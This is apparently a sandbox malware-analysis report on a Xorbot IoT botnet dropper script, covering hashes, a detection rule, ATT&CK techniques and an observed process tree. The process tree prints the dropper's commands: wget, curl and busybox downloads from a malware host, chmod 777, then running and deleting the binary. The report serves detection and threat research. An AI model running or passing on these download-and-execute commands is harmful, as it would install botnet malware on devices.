xorbot | 3a40eb65eda7eeffc2b4505a83b24bfe0a9e6af0fea04cc17f2f6ef628368304

Analysis

max time kernel
134s
max time network
143s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01-12-2024 08:11

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General

Target

bins.sh
Size

10KB
MD5

ad544eb0c3f8ca92e0175cde763a391e
SHA1

ad38b1fbea994d47a961a7e6f5e825b4ff6d819b
SHA256

3a40eb65eda7eeffc2b4505a83b24bfe0a9e6af0fea04cc17f2f6ef628368304
SHA512

0a53adf43bbe8fe7c87920f2fd946db9d4deaadcfefc88c08de48200e262a50de9970c324067ef3bb7fb7cc5881f4068ad794a93eb360dd8f633f9f333e8cc22
SSDEEP

96:YSqdz7LHbILcC8mc1RJxmWrFlkqo10C1km10Xy6/xoPjAL5RoS3G323yLKC3ZxaE:Uz7Iwtx8q97r1hAuezBtx8qD7r1X

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
820	chmod

Executes dropped EXE 1 IoCs

Processes:

zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe

ioc	pid	Process
/tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe	821	zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

curlbusyboxwgetwget

pid	Process
738	curl
819	busybox
824	wget
717	wget

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe	wget
File opened for modification	/tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe	curl
File opened for modification	/tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:717
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:819
- /bin/chmod
  chmod 777 zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  ./zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  - Executes dropped EXE
  PID:821
- /bin/rm
  rm zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe
  2⤵
  PID:823
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/QM6hBpmzE4B7hFoaikv0S74sJ3OUlYqkGc
  2⤵
  - System Network Configuration Discovery
  PID:824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/zmMTGX3JHQeNyVaiyYg1WK6zxSoQpnBSKe

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

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